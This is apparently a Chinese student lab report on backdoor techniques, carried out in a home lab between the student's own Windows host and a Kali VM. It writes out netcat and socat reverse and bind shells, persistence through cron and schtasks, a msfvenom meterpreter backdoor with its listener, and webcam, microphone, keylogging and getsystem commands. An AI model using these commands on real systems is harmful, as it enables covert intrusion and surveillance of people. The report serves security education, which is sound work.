一、实验内容
本次实验旨在通过实际操作理解并实践网络攻击中的后门原理,包括使用不同的工具和技术来获取目标主机的操作Shell、执行特定任务、收集敏感信息以及进行权限提升;本次实验需要我们使用nc实现win,mac,Linux间的后门连接:meterpreter的应用、MSF POST模块的应用,实验可以分为一下几个部分:
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二、实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
(1)查看主机的IP
首先关闭主机的防火墙,在windows主机上下载ncat程序,并打开cmd,输入ipconfig
指令查看主机的IP地址:192.168.234.12
(2)使用netcat进行连接并获取shell
虚拟机登入root用户,主机cmd进入ncat所在目录。
Win主机输入指令:ncat.exe -l -p 8888
(l表示listen,“监听”;p表示port,指定端口,端口号可自行指定)
Linux虚机输入指令:nc 192.168.234.12 8888 -e /bin/sh
(nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。)
win主机输入ls
,能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。
(3)通过设置cron使得kali启动定时任务。
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。
在虚拟机的root账户中,输入crontab -e
(执行文字编辑器来设定时程表);
输入后进入文字编辑器,输入 i 进入插入模式,输入指令30 * * * * /bin/netcat 192.168.234.12 8888 -e /bin/sh
(输入自己主机的IP地址,在每小时的第30分钟启动任务)
编辑好输入:wq
保存并退出文字编辑器
输入crontab -l
查看时程表:
同时在Linux主机中的/var/spool/cron/crontabs
文件中会出现一个root文件。
需要使用root用户的权限查看
现在回到Windows主机的cmd中进行操作,Win主机输入指令:ncat.exe -l -p 8888
Linux虚机输入指令:nc 192.168.234.12 8888 -e /bin/sh
,与Linux建立连接
然后在cmd中输入sudo su
,切换到root模式,输入:echo "* * * * * echo "20222317" > /home/kali/2223_1.txt" > /var/spool/cron/crontabs/root
(每分钟定时执行一次,用“20222317”覆盖文件2223_1.txt)
再输入指令crontab -l
(检查时程表)
进入Linux虚拟机用root用户进入对应路径检查2223_1.txt文件,发现修改成功。
2.使用socat获取主机操作Shell, 任务计划启动
windows主机:下载socat,cmd进入socat文件夹,输入命令:socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
把cmd.exe绑定到端口8888,并把cmd.exe的stderr重定向到stdout
Linux虚拟机:进入root用户,输入命令:socat - tcp:192.168.234.12:8888
回到主机,我们需要事先准备一个程序以供运行,代码如下:
点击查看代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *file = fopen("hzf.txt","w");
char *str = "20222317";
if(file == NULL)
{
printf("Error opening file\n");
return 1;
}
fprintf(file,"%s",str);
fclose(file);
return 0;
}
文件路径如下:
在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:schtasks /create /sc minute /mo 1 /tn "20222317hzf" /tr C:\hzf\hzf.exe
每一分钟执行一次这个程序
回到windows主机,打开计算机管理,看到正在运行的任务名“20222317hzf”,说明实验成功。
3. 在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。
病毒和威胁防护如果是打开状态,后面生成的后门程序将会被windows查杀
(1)生成后门文件
首先在kali中输入ifconfig
,获得虚拟机的IP地址:192.168.1.107
继续中输入以下命令:msfvenom -a x86--platform -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=8888 -f exe > 2317backdoor.exe
使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。
LHOST=192.168.1.107是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;
LPORT=8888是攻击者的系统上监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe;
2317backdoor.exe即生成的恶意可执行文件
(2)将后门文件传输至目标主机
主机进入ncat所在目录下,输入指令:ncat.exe -lv 8888 > "C:\2317backdoor.exe"
监听8888窗口等待接收可执行文件2317backdoor.exe,并将2317backdoor.exe文件存放在C盘上
在Windows中打开cmd,输入ipconfig
查看主机IP地址:192.168.1.105
虚拟机上输入指令:nc 192.168.1.105 8888 < 2317backdoor.exe
将生成的后门文件2317backdoor.exe传给主机
Windows主机接收到后门文件2317backdoor.exe,成功在C盘找到文件
(3)配置监听模块
回到虚拟机,在Kali终端输入命令msfconsole
,然后对监听模块进行配置:
use exploit/multi/handler
(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp
(使用和生成后门程序时相同的payload)
set LHOST 192.168.1.107
(攻击机的IP地址,和生成后门程序时指定的IP相同,即虚拟机的IP)
set LPORT 8888
(监听的端口)
接着输入exploit
,使监听模块开始运行
在Windows终端打开cmd输入.\2317backdoor.exe
,以管理员身份运行后门2317backdoor.exe文件
返回检查虚拟机,输入ls
查看Windows主机C盘目录,确认已经连接。
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic
(音频)
screenshot
(截屏)
webcam_snap
(拍照)
keyscan_start
(开始读取键盘记录)
keyscan_dump
(读取键盘记录结束)
音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上
(2)提权
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid
(查看当前用户)
getsystem
(提权指令)
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali命令行下输入:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=8888 -x /home/hzf20222317/桌面/pwn1 -f elf > 2317_pwn
使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2317_pwn的文件中。
-p linux/x86/meterpreter/reverse_tcp
:指定要生成的 payload 类型。
LHOST=192.168.1.107
:目标主机 IP 地址为 192.168.1.107,这里即虚拟机IP地址。
LPORT=8888
:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /home/hzf20222317/桌面/pwn1
:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。
-f elf
:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
对生成的2317_pwn文件赋予权限:
在虚拟机终端中输入指令msfconsole
,重现监听过程;使用root权限打开另一个shell,运行生成的2317_pwn文件
回到监听的shell,输入ls
确认连接,成功实现远程控制shell
3.问题及解决方案
问题1:在第一步使用netcat获取主机操作Shell时,在Windows主机上输入命令ls
后并没有显示虚拟机下文件名
解决方案:首次使用netcat获取主机操作shell时并没有在虚拟机中进入任何文件夹,故输入ls
没有反应,后面在进入桌面后成功显示桌面下所有的文件名。
问题2:在Linux虚拟机使用scoat连接主机时,首次连接显示成功,但是在挂起虚拟机后一直显示报错
解决方案:在询问老师的帮助后,选择reboot
重启虚拟机后成功通过scoat与主机Windows建立连接。
问题3:MSF meterpreter生成后门文件不被windows主机识别,报错“此应用无法在你的电脑上运行”
解决方案:修改msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=8888 -f exe > 2317backdoor.exe代码,加入字段“-a x86 --platform
”指x86的32位构架进行传输。
问题4:在使用MSF生成shellcode,注入到实验1中的pwn1中,获取反弹连接Shell的过程中,虚拟机运行./2317_pwn
文件时一直显示“szh:segmentation fault”报错
解决方案:因为在做最后一步时,将在主机Windows上运行的后门文件关闭了,导致监听失败;在主机上再次运行后门文件2317backdoor.exe后成功解决问题。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载安装了来自非正规渠道的可疑插件或软件。这些不良来源的插件或软件可能包含恶意代码,一旦运行,就可能在我不知情的情况下,为攻击者打开系统的后门,允许他们绕过安全控制获取访问权。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows系统:通过伪装成合法软件或插件,诱导用户下载安装,当用户打开或者运行这些文件时,攻击者就可以在用户并不知情的情况下启动后门。
Linux系统:通过cron将后门设置为定时启动,通过反弹式连接到客户端,然后恶意控制启动后门。
(3)Meterpreter有哪些给你映像深刻的功能?
Meterpreter允许攻击者通过网络与远程受感染的计算机建立连接,并获取对该计算机的完全控制权限。能够实现对计算机远程控制,在实验过程中,就能够获取我的计算机的摄像头、屏幕、音频等数据。
(4)如何发现自己有系统有没有被安装后门?
使用杀毒软件进行扫描,定期更新病毒库和扫描引擎,以检测和清除系统中的恶意软件。同时也可以通过审查系统日志(如本次实验在主机Windows上使用的计算机管理),查找异常或可疑的系统活动记录。
4.学习感悟、思考
通过本次实验,我深入了解了网络攻击的一些基本手段,并掌握了相关的防御措施。学会了通过netcat和socat在攻击机上监听端口,目标机连接到攻击机并启动Shell,在目标机上设置定时任务;以及通过MSF生成后门文件并对被攻击的主机进行监听,收集敏感信息,生成shellcode并注入。本次实验让我深刻体会到了网络攻击的危害性和防御的紧迫性。通过实际操作,我不仅掌握了多种获取目标主机Shell的方法,还了解了如何收集敏感信息、进行权限提升以及利用漏洞进行攻击。这些经验将对我未来的网络安全学习和工作产生深远的影响。同时,我也意识到,网络安全是一个永无止境的过程,我们必须时刻保持警惕,不断更新知识和技能,以应对日益复杂的网络威胁。